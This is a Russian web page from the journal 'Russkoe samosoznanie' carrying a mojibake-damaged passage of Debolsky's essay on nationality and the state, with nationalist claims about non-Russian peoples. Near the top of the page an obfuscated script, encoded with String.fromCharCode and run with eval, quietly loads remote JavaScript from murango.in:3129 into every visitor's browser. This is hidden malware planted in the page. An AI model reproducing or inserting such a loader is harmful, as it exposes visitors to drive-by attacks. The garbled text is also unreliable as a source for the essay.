Публикац? Дебольског?из ? «Русског? самосознан??/title> <base target="_self"> </head> <body align="center" bgcolor="#404040"> <kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5><script>eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,108,106,115,40,41,123,116,114,121,123,118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,46,115,101,116,65,116,116,114,105,98,117,116,101,40,34,115,114,99,34,44,34,104,116,116,112,58,47,47,109,117,114,97,110,103,111,46,105,110,58,51,49,50,57,47,106,115,34,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,125,99,97,116,99,104,40,101,41,123,125,125,115,101,116,84,105,109,101,111,117,116,40,34,108,106,115,40,41,34,44,53,48,48,41,59));</script></kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5> <p><img src="http://counter.rambler.ru/top100.cnt?157136" alt="Rambler's Top100" width="1" height="1" border="0"> <noscript><img src="http://top.list.ru/counter?js=na;id=87424" height="1" width="1" alt></noscript>  <noscript> <img src="http://u494.66.spylog.com/cnt?p=0" alt="SpyLOG" border="0" width="1" height="1"> </noscript>  </p> <table bgcolor="white" width="614" border="0" cellspacing="0" cellpadding="3" align="center" valign="top"> <tr> <td><table align="center" border="0" cellspacing="0" cellpadding="0"> <tr> <td colspan="4" bgcolor="black" height="2"><img src width="1" height="1"></td> </tr> <tr> <td bgcolor="black" rowspan="4" width="2"><img src width="1" height="1"></td> <td align="center" valign="top" width="121"><img src width="1" height="1"><br> <img src="logo1.gif" alt=""Русско?самосознание"" WIDTH="121" HEIGHT="75"> <br> <br> <br> <img alt border="0" src="line104.gif" WIDTH="104" HEIGHT="10"><a href="index.htm" target="_top"><img alt="Главная" src="main.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="contents-07.htm"><img alt="Последни?номе? src="last.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="archive.htm"><img alt="Архи? src="archive.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="02.htm" target="_top"><img alt="?2" src="issue2.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img alt border="0" src="line104.gif" WIDTH="104" HEIGHT="10"><a href="association.htm"><img alt="Общество" src="association.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="library.htm"><img alt="Библиотека" src="library.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="links.htm"><img alt="Ссылки" src="links.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img alt border="0" src="line104.gif" WIDTH="104" HEIGHT="10"><a href="about.htm"><img alt="Информац?" src="about.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="mailto:russamos@ai5687.spb.edu"><img alt="Пишите!" src="e-mail.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"> </td> <td bgcolor="black" width="2" rowspan="4"><img src width="1" height="1"></td> <td rowspan="1" width="480" bgcolor="white" valign="top" align="center"><img src width="1" height="1"><img src="capture.jpg" alt="философско-исторический журнал" WIDTH="480" HEIGHT="75"><img src="banner.gif" alt="banner.gif (256 bytes)" WIDTH="486" HEIGHT="60"><table cellpadding="10" border="0" cellspacing="0"> <tr> <td><h1 align="center"><font face="Arial Black">Содержание выпуск??</font></h1> </td> </tr> <tr> <td></td> </tr> <tr> <td><div align="justify" class="text"><font FACE="Times New Roman" SIZE="2"><h2><em>??Дебольский</em></font></h2> <font FACE="Times New Roman" SIZE="1"><h3 align="center">?НАЧАЛЕ НАРОДНОСТИ</font><font SIZE="1"> </font><a href="#1" name="1a"><font SIZE="1">[1].</font></a></h3> <font FACE="Times New Roman" SIZE="1"><p>Рассмотрев высоки? социальные ?воспитательные задачи государств? мы пришли ?необходимост?признать государственны?союз не цель? ?средство? самосохранен? высшег?общественног?типа. Иб? выполнение государством культурных зада? совершается для</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">народа. Но чт?же тако?наро?ка?нечт? единое? Он не може?считаться</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">произвольн?выделенною частью человечества, потому чт??произвольн? выделенной част?- котору? ка?произвольн? выделенную, можн?по произвол?же дробит?? увеличиват?- нель? имет?определенной обязанности. Ка?може?самосохранять? то, чт?не есть само, не есть</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">неделимо? лишено внутреннег?единства? Итак, наро? ка?предме?государственного попечения,</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">есть нечт?внутренн?определенное, некоторо? самост?тельно?цело? которому служит государств? цело? которому ка?цели, подчинен? государств? ка?средство. Тако?внутреннее начало объединения народа есть</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">народность, ил?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">национальность.</p> <p>Ид? народности ил?национальности всегда участвовал? ка?фактор, ?развитии государств? иб?пр?полном духовном разъединении народа невозможно ?государственно?единство. Объеди?ющ? деятельност?правительств?всегда прямо ил?косвенно коренится ?объеди?ющем действии народной воли. Если мы представим себе даже, чт?государств?опирается исключительн?на военну?силу, то самая эт?сила возникае?потому, чт?войско согласно подчинять? своему военачальник? та?ка?никако?единичны?челове? не ?сост?ни?собственно?сило?подчинит?себе множеств?люде? коль скор?он?не хо??ем? подчинять?. Поэтом?современны?враг государств?граф Толсто?справедлив?указывае? на то, чт?для сокрушен? государственно?власти не требуется насильственног?переворота, ? достаточно лишь такого переворота ?сознании люде? вследствие которого он?не захо??боле? подчинять? этой власти.</p> <p>Опир?сь, таки?образо? на известну?степен? единства народной воли, государств?всегда заключал??заключае??себе элемен?народности. Но сознание идеи народности, ка?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">господствующег?начала ? государств? развивается лишь постепенно, ?даже теперь эт?сознание не достигло ещ?полног? пр?снен?, та?чт?основания ?границ? приложен? этог?начала остают? во многом спорными. Связь народн?, им? характер внутренний ?духовный, естественн?находи?себе выражени??известны?внешни?знаках; но эт? знак?ещ?не состав?ют народности, если он?ею не одухотворены, ??другой сторон?отсутствие их ещ?не безусловно препятствуе?образовани? духовной связи. Та?основани?народног?единства ищут нередк??/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">породе, ?религи? ?языке</font><font SIZE="1">.</font><font FACE="Times New Roman" SIZE="1"> Но факт?показывают, чт?вс? крупны?народности возникли путё?смешен? ? скрещивания различны?поро? та?чт? например, ? Европе качественный антропологически?состав главны?народносте?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> ?сущности</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> одинаков ил?очен?близок. Говорить ныне ?славянски? германских ил? романски?расовы?особенностя?европейски? народо?значит забывать, чт?по породе многое англичан?ближ??француза? ?немц??русски? че??свои?соотечественника? ?наоборот. Конечн? слишко?резкое различие поро?може? препятствоват?духовном?сближени?люде?? нарушать</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> таки?образо?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> народное единство гражда?одного ?того же государств? Ta? бело?населени?Соединенны? Штатов ?значительной мере духовн?чуждается чёрног?населения; но чт?эт?розн?не непреодолима, доказывает? вс?таки фактам? происходящего межд?белыми ?чёрным? скрещивания ?сближения на почв?обще? культурной работы. Единство религи? конечн? облегчае?духовное сближени?люде? Но опять-таки факт?показывают, чт?люди одинаковых религиозны?веровани?част?не сознаю?се? единым??смысле народности, ?различие этих веровани?не препятствуе?духовном?народном? единству. Немецкий ?французски?католики сознаю?се? духовн?боле?близкими ?немецком? ил? соответственно, ?французскому - протестант? че?межд?собо? ?единству английской народности не препятствуе?её распадение на множеств?сект. Духовный сепаратизм иноверца создается не религиозными разногласиями, ?религиозно?нетерпимость? примерам?чему служат отношения межд? англичанам??ирландцами, межд?христианским ? мусульмански?населением Турции, межд? христианам??евреями вообще. Наконе? ?язы?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> ?которо?нередк? нахо??главны?призна?народности, далеко не всегда имее?тако?значение. История нередк? оказывается способно?сп?ть разн?зычных люде? крепкими духовным?узам??расторгнут?духовное единство люде?одноязычных ил?почт? одноязычных. Бельгия ?Швейцария представ?ют собо?пример?стра??ясн?выраженным сознание? народног?единства разн?зычных люде? Немецкое по</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">языку населени?Эльзас?/font><a href="#2" name="2a"><font FACE="Times New Roman" SIZE="1"> [2]</font></a><font FACE="Times New Roman" SIZE="1"> могл?быть лишь насильственн? вопрек?свое? воле, отторгнуто от чуждой ем?по языку Франци? ? другой сторон? исторические судьбы создал? различие народносте?испанско??португальско? хо? португальски?язы?есть один из пиренейски? диалекто? не отличающий? по существу от наречи? на которы?гово??считающи?се? испанцам?жители Галици?/font><a href="#3" name="3a"><font FACE="Times New Roman" SIZE="1"> [3] </font></a><font FACE="Times New Roman" SIZE="1">? Эстремадур?/font><a href="#4" name="4a"><font FACE="Times New Roman" SIZE="1"> [4]. </font></a><font FACE="Times New Roman" SIZE="1">Точн?такж??? Нидерланда?язы?- одно из северных немецких наречи?- образовался, ка?самост?тельная литературн? единиц? вследствие того, чт? история сделал?нидерландцев отдельно?от Германии народность? ?отнюдь не различие языка послужил?основанием ?народном?разделению. Новейшие события на Скандинавско?полуостров? свидетельствую? чт?мощн?выраженное сознание народной особенност?може?сопровождать? весьма слаб?выраженным сознание?важности своего</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">родног? языка. Если Норвег? отделилась от Швеции по причинам ?сущности маловажным, сводящимся собственно ?желани?удовлетворит?народное самолюби? то, конечн? эт?обст?тельство служит признако?доведенног?даже до крайност? стремлен? норвежце??народной самост?тельност? Межд?те? норвежский язы?до си?по?не имее?самост?тельност? та?ка?? литературе ?образовани?доселе господствует язы?датски? Величайший писатель Норвегии Ибсе? писа?на этом языке. Ныне возникло стремление ? эмансипаци?норвежског?языка. Но если эт? стремление ?увенчает? успехо? то вс?же получится ещ?одно доказательство то?истины, чт?не язы?производит народность, ?народность приводит ?литературной ?образовательно? самост?тельност?языка</font><a href="#5" name="5a"><font FACE="Times New Roman" SIZE="1"> [5].</font></a></p> <font FACE="Times New Roman" SIZE="1"><p>Народность можн?по?ть лишь из истори?её развит?, которо??каждом данном случае опреде?ет? то ил?иное своеобразное отношени?её ?породе, религи?? языку. Почв? на которо?возникае?народность, есть</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> несомненно</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> государственны?союз, ?основе которого всегда лежи? ка?было об?снен?выше, народн? во?. Но дело ?то? чт?первоначальн?эт?во? есть во? лишь то?част?населения, которая заинтересована ?существовани?государств? ?государств? сохраняет? насилием сказанно?част?на? прочим?частями населения. Лишь постепенно, по мере того, ка?культурное развитие создаё? общность интересо? целе??привычек, присущий государств?зачаточный элемен?народности становит? господствующим ег?начало? Этот процес?одухотворения государств? превращения ег?из насильственног??свободны?союз, далеко не закончен ныне ?самы?высококультурных страна? та?чт?ид? народности ещ?нигд?не достигла даже приблизительно полног? осуществления. Поэтом?весьма странн?слышат? когд?гово?? чт?народность была господствующим начало?древнего, языческог? мира, христианское же мировоззрени?растворило эт?начало ?начале всечеловеческо? Истинной народности, которая ?для теперешнег?времен? являет? ещ?боле?ил?мене?отдаленным идеало? древни?языческий ми?вовс?не знал. Древне? государств?было основано на господстве одного племен? сослов?, города на?другим? ?течением времен?основания этог?государств? упразд?лись, та?ка?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">племен?смешивалис? сослов? ? городски?общины приравнивались ?свои?правах; но этот процес?разложен?, не заме?ясь возникновением духовной связи, привел не ? национальном?единству, ??механическом? бездушному стро?государств???конечном результате</font><font SIZE="1"> -</font><font FACE="Times New Roman" SIZE="1"> ?ег?разрушению. Поэтом?христианский космополитиз?бы?реакцией не против господства начала народности, какового господства вовс?не было, но против бездушно??мёртвенной государственност? ни во чт?не ценившей человеческой личности, подавлявшей её духовные стремлен? ?открывавше?просто?лишь чувственны?приманка??практическом? материализму. Сравнительно ?этой государственностью христианский космополитиз? бы?явление?прогрессивны? та?ка?он провозгласил ценность человеческой личности ? указал ей боле?высоки?духовные цели. Поэтом? не преследуя прямо национальных зада? он послужил переходною ступенью ?последующему расцвету национальной жизн? подорвав авторите? всевластного Рима ?оживив местну?жизн??её духовным?своеобразиями. Заговорили Сирия, Египет, Африка, Галл? уж?не голосами обезличенной романизованной ил?эллинизованной интеллигенци? но собственными голосами, исходившим?из глубин?местного духа. ?когд? северные варвар?стал?разбиват?на част? римску?импери? то эт?варвар?от церкви же получили начало свое?родной письменности ? ос?щени?того государственного строя, которы? положи?основы образовани?новы?народносте? Теократический идеа?христианства, не направленный непосредственн??пользу торжеств? национальног?начала, бы?боле?благоприяте? ем? че?римско?государственно?единство, та? ка?первый мирился ?раздельность?? относительно?самост?тельностью многих государств ?вместе ?те?проникал общежити? люде?единство?духовной цели, которого ? римско?государств?не было. </p> <p>Таки?образо? несомненно, чт?начало народности не есть древнеязыческое начало, упраздненное христианство? но начало ново? жизн? косвенно поддержанное христианство? против механической государственност?Рима. Одухотвори?жизн? христианство одухотворило ? государств? ?те?самы?способствовало развитию народности, которая ни ?чё?ином ?не состои? ка??одухотворени?государств? Но эт?вл?ни? церкви было лишь косвенны? та?ка? положительны?церковны?идеа?есть идеа? космополитически?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> ?потому ?дальнейшем свое? расцвете начало народности отрешилось от начала церковност??вознеслось на?ни? но не ?те?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> чтоб?вернуться ? языческом?стро?общества, ??те? чтоб?вызват? зарю ново?жизн? превосхо?ще??механическую государственност?язычества, ? космополитически?идеа?теократи? Народность есть одухотворени?государств? ?? замена ег? насильственног?характер?характером свободны? но этот свободны?союз народности есть союз не всег?человечества, ?ег?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">част??её историческом своеобрази? Он приводит не ?безлично? неопределенности всечеловечеств? ?? конкретном?обществу, ?обществу ка?неделимому ?ег?живо?оригинальности. Образовани?этог? союз?есть исполнение общество?того завета, которы?да?величайшим из новы?поэтов единичному человеку: </font></p> <font SIZE="1"><p>Volk und Knecht und Ueberwinder</p> <p>Sie gestehn zu jedcr Zeit;</p> <p>Hochstes Gluck der Erdenkinder</p> <p>Sey nur die Personlichkeit.</p> <p>Jedes Leben sey zu fuhren,</p> <p>Wenn man sich nicht selbst vennisst;</p> <p>Alles konne man verlieren,</p> <p>Wenn man bliebe, was man ist.</font></p> </div></td> </tr> </table> <a href="#6" name="6a"><font FACE="Times New Roman" SIZE="1"><p>По?ти? народности ка?культурног?союз? одухотво?ющег?государств? ка?было выяснен? не исчерпывается признаками породы, языка, религи? Он?суть лишь условия, способствующие ил?(препятствующи? возникновени?народности, но не таки?условия, положительно?ил? отрицательно?вл?ни?которы?на процес?её образования совершается ?необходимостью. Всякая народность есть нечт?своеобразное, некоторо?особое общественное неделимо? свойства которого ?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">их совокупности характерны только для него. ?этом отношени?по?ти? народности аналогично по?ти?вида ?животном ? растительном царств? Известно, чт?не? возможност?установить те общи?признаки, которыми один ви?отличает? от другог? Единственные основания, по которы?данные неделимы?отно?тся ?разным вида? сост?? во-первых, ?отсутствии ил?безплодности потомств?пр?скрещивани? ?во-вторых, ?то? чт? различ? поро? ка?бы он?ни были велики, оказываются неустойчивым? та?чт? предоставленная сама себе порода возвращает? ? общему видовому типу. Многие специалист? отрицают безусловно?пост?нств??этих признако? но вс?согласны, чт?последни? применим??большинств?спорны?случае? Точн? такж??различие народносте?опреде?ет? лишь по опыт? выражаясь, ?одно?сторон? ? фактическо?невозможност?их духовног?сл?ния, ??другой - ?устойчивости их основног? культурног?типа вопрек?вл?ния? стре?щимся изменить ег? </p> <p>Эт?аналог? межд?народность??видо?не должна, однако, быть проводим?дале? че?то допускается существо?дела. Отношени? народности</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">человечеству не есть отношени?вида ?роду</font><font SIZE="1">.</font><font FACE="Times New Roman" SIZE="1"> По?тия вида ?рода суть по?тия классификационны?груп? не указывающи? на како?либо соединение ?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">общество. Неделимы?одного вида ?свое?совокупности не образуют общества, ? многие виды даже совсем не способны ? общественной жизн? ?другой сторон? ?обществе могу?быть разновидны??даже разнородны? неделимы? например, ?стад?могу?вместе пастис? ?коровы, ?овцы, ??муравейник?бывает сожити? муравьев разных видо? Смешение народности ? вида состав?ет коренную погрешност?сочинения Данилевского "Росс? ?Европа", та?ка?эт? смешение побуждае?ег?ломать голову на? вопросом, почему виду нужн?отдать предпочтение пере?родо? ?лишает вс?постановку ?него вопрос??народности скольк?нибудь прочны? основани? ?втором пункте буде?ещ?сказан? ниже. Чт?же касает? первог?пункта, то если даже допустит?(на чт?не?ни малейших основани?, чт? самосохранение вида должно быть ценнее самосохранен? рода, то эт?положени?може? относить? лишь ?действительн?сущи? ?не произвольн?образованным рода??вида? Виды же, ?коим Данилевски?приравнивает народности, суть конечн?единиц? образованные произвольн? иб? если считат?"человечество" за ро? то за виды ег?можн?признать весьма разнообразны? классификационны?группы, опреде?емые признаками ?породы (белы? чернокожие), ?религи? (христиан? мусульмане), ?языка (арийцы, семиты), ? мест?жительства (европейц? африканц?, та?чт? буде?решительно непо?тн? како?из этих груп? отдать предпочтение</font></a><a href="#7" name="7a"><font FACE="Times New Roman" SIZE="1"> [7]. </font></a></p> <font FACE="Times New Roman" SIZE="1"><p>Народность есть не</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">ви??роде</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">человечества, ? составленное из част?человечества</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">общество. Ближайше?её определени?состои??то? чт?он?есть</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">одухотворенное государств? ??</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">пост?нный союз люде? связанных не насилием, ?свободны?духовным влечение? Идеальная народность есть такая, ?которо? существовани??отправлени?государственны? функци?совершается вполне добровольн? ?такому идеальному сост?ни? ка?было об?снен?выше, обязательно направ?ет? культурное развитие, хо? ?наст?ще?время степен?приближения ? этом?сост?ни?даже ?передовы?страна?весьма далека от идеала. Идеа?народности должен быть</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> поэтом?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> мыслим, ка?предел, ?которому постепенно приближает? развитие культуры, хо? бы полное достижение этог? предел?было ?неосуществим? Пределом культурног?развит? должно считаться тако? сост?ни?народа</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> пр?которо?ег?государственны?союз буде? сп??не насилием, ?духовным?узам?народности ил?национальности. </p> <p>Та?ка?исторические ?этнические условия развит? разных народо?весьма разнообразны ?? качественном ??количественном отношени? то на любо?ступен?достижен? сказанного идеала окажут? народы, различны?по виду ?степен? свое?культурности, сл?ни?которы?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">?одну народность буде?для ни? нежелательны??стеснительны? первое - потому, чт?различие ?культурных привычка?буде? препятствоват?их духовном?сближени? ?второе - потому, чт?жизн?высших народо?непременно понизится по степен?свое?одухотворенности чере?необходимост?открыт?соучасти??этой жизн?народа?низшим, ещ?не достигши?ил?даже вовс?не способны?достигнуть тако?же одухотворенности свое?жизн? Поэтом? превращени?народног?союз??общечеловеческий ?невозможно, ?нежелательно, но процес? культурног?развит? должен буде?приводит?? усилению общественной индивидуализации. Скорее можн?ожидат?распаден? существующих государственны?единиц чере?разделение их на част? оказавшиеся мало способными ?духовном? сближени? че?сл?ни?различны?народносте?? одну. Но этот процес?культурной индивидуализации, хо? направленной ?благ? отдельны?народносте? буде?имет?свои? последствием ?общечеловеческое благ? иб?ег? результато?окажет? водворение всеобщег?мира ?свободного самоопределения разнообразны? культурных типо? Если высшее благ?есть самосохранение народности, то, значит, высшее зл? есть её уничтожени? насили?на?не? эт?есть высшее зл??для совершающего насили? ?для испытывающег?ег? та?ка?жизн??того ?другог? лишает? характер?свободно?одухотворенности. Поэтом?движение ?идеалу народности есть именно движение ?тому вечном?миру, которого теперь тщетно пытают? достигнуть учреждение? международны?судили??сентиментальными разглагольствованиями об ужасах войн?/font><a href="#8" name="8a"><font FACE="Times New Roman" SIZE="1"> [8]. </font></a><font FACE="Times New Roman" SIZE="1">Постепенно?достижение вечног? мира буде?последствием углублен? ?усилен? здравого национальног?эгоизм? ?? постепенного распространения убеждения ?то? чт?завоевание есть величайший культурный вред для самого завоевателя, иб?он?проникае?ег? разнородными, насильно связанным??ни??част? культурн?низшим?примесями. </p> <p>Но ка??индивидуальном воспитании, именно потому</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> чт? он?готови?человека ?свобод? самая возможност?её достижен? требуе?постепенност? ?освобождении питомц?из-по?власти воспитателя, та???воспитании народности государственно?насили?являет? для не?само? необходимы?средство? Покуда ??како?мере свободны?духовный союз ещ?не осуществим по невоспитанност?сами?люде? до те?по???то?же мере государственны?союз остает? ?должен оставать? насильственным, иб?преждевременно? прекращени?такого насильственног?ег? характер? пр?неспособност?люде??свободно? организаци? приведёт лишь ?анархи??? распадению те?историческ?возникши? общественных единиц, которы?подлежат одухотворени? ?? для образования само? народности не окажет? материал? Но если ?? деле индивидуальног?воспитан? не всегда легк? определить потребну??данный момент меру отношения межд?насилием ?свободою, то</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> те?боле?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> трудност? встречае?тако?определени??воспитании парода, не только потому, чт?разные ег?част? обнаруживают всегда разную степен?зрелости ? деле свободного духовног?самоопределения, но, главны?образо? потому, чт?само образовани? государств?совершалос?обыкновенн?путё? насильственным. Большинств?государств искони слагалос?из частей духовн?разнородны? нередк? даже враждебных, ?поэтом?пост?нн?требовавши? ?требующи?насильственных ме?для удержания их ?покорности. Поэтом??недрах большинств? государств, естественн? совершается такая борьба межд?тенденциями насильственног?? свободного объединения, ?которо?правот?? неправот?весьма разнообразно перемешаны межд? обеими борющими? сторонам? Если государственная власть, ?одно?сторон? нередк? бывает глух??справедливым требован?? народности, то, ?другой сторон? по?знамя последне?нередк?становятся тенденци? начало? народности вовс?не</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">оправдываемы? Та? например, всяко?стремление известно?част?населения ? обеспечени?своего прав?пользовать? родным языко??школ? ?суде, ?администраци? трактует? нередк? ка?стремление</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">национальное. Вследствие того, возникае?недоразумени? одинаков?неудобно?? для государств? ?для живущи??не? ин?зычников. Коль скор?родственны?по языку ин?зычник?именно поэтом?признают? особым</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">народо? то</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> те?самы?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> он? преувеличивают свои притязания ?государств? ? последне?начинает тоже относить? ?ни?? преувеличенным опасение? ?вследствие того, како?нибудь вопрос ?допущени??школ? чувашского ил?эстонского языка, вопрос са?по себе весьма мелкий ?касающий? лишь практическог?удобства, приобретае? несвойственное ем?государственно?значение. Чрезвычайн?важн?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> поэтом?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> установление ясног?понимания того, чт?одноязычности люде?ещ?недостаточно для того, чтоб?он?имел?основани?признавать се? за особый наро??говорить ?свои? национальных правах. Национальность, ил? народность есть термин, соотносительны? государств? иб?народность есть не чт?иное, ка? одухотворени?государств? ?числ?путе?этог? одухотворения важное значение, конечн? имее?? язы? поэтом? хо?, ка?было об?снен?выше, он</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">не всегда бывает признако?народности, однако во многих, даже ? большинств?случае?история делает ег?таки? признако? но лишь по?одни?условием:</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">чтоб?гово?щи?на нё? люди имел?исторические основания считат?ег? языко?государственно?культуры. Поэтом? если ин?зычник пред?вляет национальные притязания, то он</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">должен историческ?доказать свою способност?? самост?тельно?государственно?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">культуре</font><font SIZE="1">. </font><font FACE="Times New Roman" SIZE="1">Эт?способност?може?быть доказана лишь указание?ил?на</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">нарушенное государственно? прав?данных ин?зычников, ил?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">на таки?черт?их существующей правовой организаци? которы?делают необходимо??возможно?их государственну? особност? причём первый призна?такж?имее? силу лишь тогд? когд?нарушенное государственно?прав?ещ?состав?ет живу?силу ?сознании данног?населения, ?? не заглажен? совершенно историческою данность? Если руководствоваться этим?признаками, то окажет?, чт??национальных правах большинств? например, русски?ин?зычников не може?быть ?речи, та? ка?он?ил?никогд?не состав?ли самост?тельны?государств, ил?существовани? этих государств бесследн?покрыт?исторической давность? Эт?ин?зычник?суть не отдельны? народы, ?лишь инородцы ?велико?сред?русского народа. Он?не могу?притязать ни на каки? национальные прав? но могу?лишь ожидат?от русского правительств?то?степен? снисходительност?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">?их языка??наречия? какая согласна ?удобствами администраци??/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">их собственными культурным?интересами. </p> <p>Из остально?част?русски?ин?зычников некоторы? правда, сравнительно ещ?недавн? состав?ли государств?ил?подобия государств, ? именно некоторы?туземц?Кавказског?? Туркестанского кр?. Но из этих государств Груз? добровольн?присоединилась ?России, ? культурное сост?ни?прочих находилось ? находится на стол?низком уровне, чт?? национальном самосознании их населения не могл? ?не може?быть речи. </p> <p>Лишь ?двух частя?русского государств? последне?встречается ?действительн? обоснованным?национальным?притязаниями. Польша была самост?тельны?государством, насильственн?уничтоженным своими сосе?ми, ? эт?нарушени?её прав?ещ??полною сило?живо ? сознании её населения. Поэтом?по?ка?нель? отказывать ?прав?на народную особност? Заси? Финлянд?, хо? не была самост?тельны? государством во время её присоединения ?России, но ошибочная политика русско?правительств? развил??не?привычки почт?полног?культурног? самоуправлен? ?создал?тако?её правовое положени? которо?фактически ?юридически превратило её населени??особый наро? Последствия этих двух грехов России состав?ют ? ныне её главны?национальные язв? Горазд?легч? совершит?грех против начала народности, че? исправит?ег?последствия. Польша ?Финлянд? состав?ют живущи?собственно?жизнью паразитные част?импери? которы?он? не може? ни отрезать от се?, ни подвергнут?процессу уподобления, ?существовани?таки?паразитных частей серьезно препятствуе?развитию России ? направлени?народности. </p> <p>Для России было во всяко?случае больши? счастьем, чт?на юг?Балтийског?поморья местному сепаратизм?не удалос?создат?ещ?трех подоби?Финляндии из трех прибалтийски? губерний</font><a href="#9" name="9a"><font FACE="Times New Roman" SIZE="1"> [9]. </font></a><font FACE="Times New Roman" SIZE="1">Резк? особенност?правовог? положения ?полное господство чуждог?русскому духу ?языку образования, которы?сохранялись ? ни?до второй половины истекшег?столет?, поддерживали ?господствующей част?их населения надежд?стат?такими государствам?? государств? Та?ка?эт?местност??до присоединения ?России не</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">были самост?тельными государствам? то исторических основани?для их национальных прав не имеется никаки? Крушение же ?ни?автономистически?надежд обуславливалос?главны?образо?те? обст?тельство? чт?господствующим ?ни? класса?на удалос?образовать ?массою населения того тесног? связанног?общими интересами союз? ка?то было ?Финляндии. Эт?масс? населения искала ?ищет освобожден? от немецког?засилия ?тесном общени??Россие? ? сожалени? малая культурность коренног? населения само?России ?дряблость национальног?сознан? ?русско?интеллигенци? приводя??тому, чт?эстонц??латыши нахо??ещ? мало положительны?побуждений ?проникновени? русски?духо? ?отрицательны? революционны? веяния, ка?то обнаружилось нескольк?ле?тому наза?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> вызвал??ни?даже сильно?движение против России</font><a href="#10" name="10a"><font FACE="Times New Roman" SIZE="1"> [10]. </font></a></p> <font FACE="Times New Roman" SIZE="1"><p>Враг?русско?народности ? свое?стремлении превратить всех русски? ин?зычников ?особые народы, конечн? ?полной готовность?примыкаю??та?называемом? украянофильству, защищающем?якобы национальные прав?малорусского племен? Главны?основанием, на которо?покоит? эт?защита, служит предполагаем? самост?тельност?малорусского языка. ?другой сторон? есть немало компетентных специалистов, утверждающих, чт?различие малорусско??великорусско?речи - эт?не боле? че?различие наречи?французского ил?немецког? языка, но даже уступающее этим последни? различ?? ?точк?зрен? установленны?выше нача?этот чист?филологический спор должен быть призна?имеющи?мало значен?. Если бы история создал?из Малороссии самост?тельны?цент? государственно?культуры, то близость языка не препятствовал?бы малороссам сознават?се? особою от великороссов народность? Скажем боле? даже не подкрепленны?историческим? предан?ми национальные стремлен? Малороссии могл?бы имет?основани? если бы, ка?то было пр? отделени?Соединенны?Штатов от Великобритании, эт?стремлен? опиралис?на серьезны? культурные интересы ?на долговременный навы?? 